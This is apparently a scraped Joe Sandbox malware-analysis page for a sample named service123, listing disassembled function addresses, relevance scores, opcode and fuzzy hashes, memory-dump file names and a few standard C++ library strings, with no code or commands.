Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a848f13e7f46e01739e0cb9d28c21cd08c8081733cfc384d507adb265a49e5c0
Instruction ID: 3b78cc90ecd31da0c816635af12397f64f01ef2f3ff69e8e5856ce0cf6e1bfa5
Opcode Fuzzy Hash: a848f13e7f46e01739e0cb9d28c21cd08c8081733cfc384d507adb265a49e5c0
Instruction Fuzzy Hash: C3728B70A092998FDB10CFE8C48479DBFF1AF46314F289659D4A5ABB91CB34E846CF41

Function 6C9A9B10 Relevance: 1.9, APIs: 1, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0141de77322ad799345020b6d65eaf84b7c52babcd3221d822f25fff5df1a31c
Instruction ID: c9c5e0c35626d2ee20835175a5c6b7da3812cb091422ab4cd6a3d80f6f95738d
Opcode Fuzzy Hash: 0141de77322ad799345020b6d65eaf84b7c52babcd3221d822f25fff5df1a31c
Instruction Fuzzy Hash: AD52D270A052989FDB00CFE8D48479DBFF1BF06328F298259E8559B781C776D986CB81

Function 6C963D20 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

/, xrefs: 6C964300

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: be46ca8db1884c8989751069b008599fdcc17fa4f8a0e05d3bc76d5c85378b59
Instruction ID: 163c2bd2d6811728fe5cc40490b22a591df2ac4446a22059e02c11a1fb456204
Opcode Fuzzy Hash: be46ca8db1884c8989751069b008599fdcc17fa4f8a0e05d3bc76d5c85378b59
Instruction Fuzzy Hash: ADE17F703042048BFB159F3B88A476A77E6BB66308F548879D585CFFC6D739C8498BA1

Function 6C9951E0 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b40d4eb4153ec81f3a23a51f9db19ac16140582012493ff48e4bed9bba5ca53
Instruction ID: 1dc9560a9766d565cd4c0152f1a052dfc9758341a9bfa5819eaa06f2ba96e949
Opcode Fuzzy Hash: 7b40d4eb4153ec81f3a23a51f9db19ac16140582012493ff48e4bed9bba5ca53
Instruction Fuzzy Hash: C0E15831E05299CFCB10CFA9C480A9EBBF2AF4A316F284259E865A7791D334EC41CF51

Function 6C9BE050 Relevance: 1.6, APIs: 1, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04c19278ede2331b3f4c84a7206cac89cd544749fce18b753214235ddab773ca
Instruction ID: e30a098b8c9c60df3dfc7ba2b5ff0c0c355352527e9a5ac24d00941458e0aa51
Opcode Fuzzy Hash: 04c19278ede2331b3f4c84a7206cac89cd544749fce18b753214235ddab773ca
Instruction Fuzzy Hash: 5CD16035A04259DFDB00CF69C4805DEBBF5EF49324F2882A9E865AB790D335E945CF90

Function 6C9738B0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

O, xrefs: 6C973BE6

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: 676a791c66564e3aab990063b83211ffb83ab0a54183527e195b2a4ec59e0c57
Instruction ID: dde6f679db9d5ffbb141ab6abbf9ebf064881a52792d7fdd29545750629d7933
Opcode Fuzzy Hash: 676a791c66564e3aab990063b83211ffb83ab0a54183527e195b2a4ec59e0c57
Instruction Fuzzy Hash: AE91B071609311CBDB24CF25C48136BB7E0FF80748F49896DEC899B651E776D948CBA2

Function 6C9DF080 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

uninitialized __any_string, xrefs: 6C9DF167

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: uninitialized __any_string
API String ID: 0-3223116075
Opcode ID: 72b825d9e172702ee3f5864ac3c61869abad87977f73c4a6dae9799529711747
Instruction ID: b781e06f7bcb5eafe0f9fb6cb0173c9d2ccb18a2a8c15b11c69f68c46a537c66
Opcode Fuzzy Hash: 72b825d9e172702ee3f5864ac3c61869abad87977f73c4a6dae9799529711747
Instruction Fuzzy Hash: C4415975A043199FCB00DF68D88089EBBF4FF89218F15C95EE858AB701D730E855CB91

Function 6C983A40 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

basic_string::at: __n (which is %zu) >= this->size() (which is %zu), xrefs: 6C983A60

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::at: __n (which is %zu) >= this->size() (which is %zu)
API String ID: 0-3720052664
Opcode ID: f86e756ddae2aad3ca322f482a307cfa2474b832b620b4329c0a2a3e59da2120
Instruction ID: 6fe883529ccf466b91165881bb7bfa8039f8c5f3f6ae7049430e6214195c7ba8
Opcode Fuzzy Hash: f86e756ddae2aad3ca322f482a307cfa2474b832b620b4329c0a2a3e59da2120
Instruction Fuzzy Hash: BCE0B6B1E056408FCB04DF18C686829F7F1BB86304F55EA9CE08897724D235D554CA5A

Function 6C992BDC Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C992BE0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: cb3ff0ef010cf03acf73ed4425545b96d895ad9a16af68450ca4c9fc20e2bbcd
Instruction ID: 21fef6c69f85167cdf80d1c52a644753a210765b9224602d97e05d600d397690
Opcode Fuzzy Hash: cb3ff0ef010cf03acf73ed4425545b96d895ad9a16af68450ca4c9fc20e2bbcd
Instruction Fuzzy Hash: 22D0C7719555144F8B00CF25C285824B7F06F07304B6969C4D488FBA21D331EC85CB55

Function 6C98E04C Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E050

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 0f8c0f9042bad6c69441938a28b06499baa350e3b403ad92a45376cd7ebe6bc3
Instruction ID: 5c080dfe108502c4f518fdd5b5d6bc2d4c1e9bc0f7ad8a90f5c6853419f59598
Opcode Fuzzy Hash: 0f8c0f9042bad6c69441938a28b06499baa350e3b403ad92a45376cd7ebe6bc3
Instruction Fuzzy Hash: F9D0C9799052248F8B00DF28C6D1C24B7B0BB0B314B616D88E489ABB21C332FC85CB4A

Function 6C98DA9C Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DAA0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 4844e2299bc8d9e61b3a01d1076ee145a83686e41607b54ee5929932a8fd4fc1
Instruction ID: 2041eac73a2d77d883e92d1863efd22f3f8795f9c9cdcdaa042ceb06fc80e2f3
Opcode Fuzzy Hash: 4844e2299bc8d9e61b3a01d1076ee145a83686e41607b54ee5929932a8fd4fc1
Instruction Fuzzy Hash: C0D0C7759051148F8700CF38C2C1C14B3B4BB07314B656D85D449AB721C371FC45CB45

Function 6C98E27C Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E280

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 90cb93abc3b7df4fc5050b47d71ee5eaebdc753fc5e2562c08f020702d957e85
Instruction ID: bcea28b0c886f4b059705ed8b2013af6bbef42c54d79520239b0d700ffa43ae3
Opcode Fuzzy Hash: 90cb93abc3b7df4fc5050b47d71ee5eaebdc753fc5e2562c08f020702d957e85
Instruction Fuzzy Hash: 02C04C75D112248B8A00DF38C681865F3B0BB07314B11A848D48977711C271F886CA4A

Function 6C98E3FC Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E400

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 0922d696d229e49d8f9ab9d730b39e668fa37214fa250ada88d80219ed7a3cd7
Instruction ID: 6a41a51f231821936528d41b5e8623643bba9df86278be371a0e5402fea9cc04
Opcode Fuzzy Hash: 0922d696d229e49d8f9ab9d730b39e668fa37214fa250ada88d80219ed7a3cd7
Instruction Fuzzy Hash: 55C04C71C052648B8A049F348691475F7B06B03205B256889D4D977A52C261E996DA5A

Function 6C98DCCC Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DCD0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 90cb93abc3b7df4fc5050b47d71ee5eaebdc753fc5e2562c08f020702d957e85
Instruction ID: bcea28b0c886f4b059705ed8b2013af6bbef42c54d79520239b0d700ffa43ae3
Opcode Fuzzy Hash: 90cb93abc3b7df4fc5050b47d71ee5eaebdc753fc5e2562c08f020702d957e85
Instruction Fuzzy Hash: 02C04C75D112248B8A00DF38C681865F3B0BB07314B11A848D48977711C271F886CA4A

Function 6C98DE4C Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DE50

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 0922d696d229e49d8f9ab9d730b39e668fa37214fa250ada88d80219ed7a3cd7
Instruction ID: 6a41a51f231821936528d41b5e8623643bba9df86278be371a0e5402fea9cc04
Opcode Fuzzy Hash: 0922d696d229e49d8f9ab9d730b39e668fa37214fa250ada88d80219ed7a3cd7
Instruction Fuzzy Hash: 55C04C71C052648B8A049F348691475F7B06B03205B256889D4D977A52C261E996DA5A

Function 6C9B2080 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 245edca28e8eb099e96cbdb8542eff82b86753dbdd7cc84ee472a38ee42cca30
Instruction ID: 28620a2c62ab1674b0e5e32f06923841b315bf1dd17dccff39897cc52c44a52d
Opcode Fuzzy Hash: 245edca28e8eb099e96cbdb8542eff82b86753dbdd7cc84ee472a38ee42cca30
Instruction Fuzzy Hash: CD52D070909A49EFDB14CF68C0887DEBBB1EF0A308F148659E855BBB91C335D986CB51

Function 6C9B0BF0 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e2bd3e5b208ae1fce3f5a617d15453cd78e2394385e638ef85cbe02f273eabe
Instruction ID: edea2b0f82199fc52042ab4f149c98b215900ef37d8db67e168ae543e72b910c
Opcode Fuzzy Hash: 2e2bd3e5b208ae1fce3f5a617d15453cd78e2394385e638ef85cbe02f273eabe
Instruction Fuzzy Hash: 6952C270A04289EFDB10CFA8C1847DEBBF1AF06308F148659E855BBB91D375E986CB51

Function 6C9B1600 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae4a5cc06dde165443e526d73fdcf7130a218983c835d837717d3136a259036
Instruction ID: 991a89d2db6a379a8004d0399b8bede7a2f10276704654a4d5d6d6774147d383
Opcode Fuzzy Hash: dae4a5cc06dde165443e526d73fdcf7130a218983c835d837717d3136a259036
Instruction Fuzzy Hash: 2B71BE71A04349ABDF10DFA9C4847EEBBF5BF06348F04865AE894AB781E374E485CB51

Function 6C9B2A90 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8bb2a4dc3a8132ca7230098899931db4bb415772126e9661f4cdfe48686e90a
Instruction ID: bcfb66ce27489e9ad42773657e0825ff2dfeb24fae161479354fc4a2c4b45cb5
Opcode Fuzzy Hash: d8bb2a4dc3a8132ca7230098899931db4bb415772126e9661f4cdfe48686e90a
Instruction Fuzzy Hash: 7671AD70A04749ABDF10CFB8C0847AEBBF4FF15308F04865AE895AB681E774E846CB51

Function 6C97B0D0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 330d2f63808cab121324509a7951209ebdd20791ae8ce9f935ae67a5a7edee41
Instruction ID: f58cb0e9315a72a60b72e18561a054d862d0ffef529c011c1f2c17dcdbad15aa
Opcode Fuzzy Hash: 330d2f63808cab121324509a7951209ebdd20791ae8ce9f935ae67a5a7edee41
Instruction Fuzzy Hash: CB51E7706197058BCB04EF78D58559EB7F5AF9924CF408A29E894C7744EB30DA49CB83

Function 6C9CF99A Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3101af0ab9cf8f9af2c459dc197eab00e1baaec084028e06007e49b057f34ef8
Instruction ID: 9a23e306d5927e435b568f627f634fa003e4c094bd596214e5de0f71414bff80
Opcode Fuzzy Hash: 3101af0ab9cf8f9af2c459dc197eab00e1baaec084028e06007e49b057f34ef8
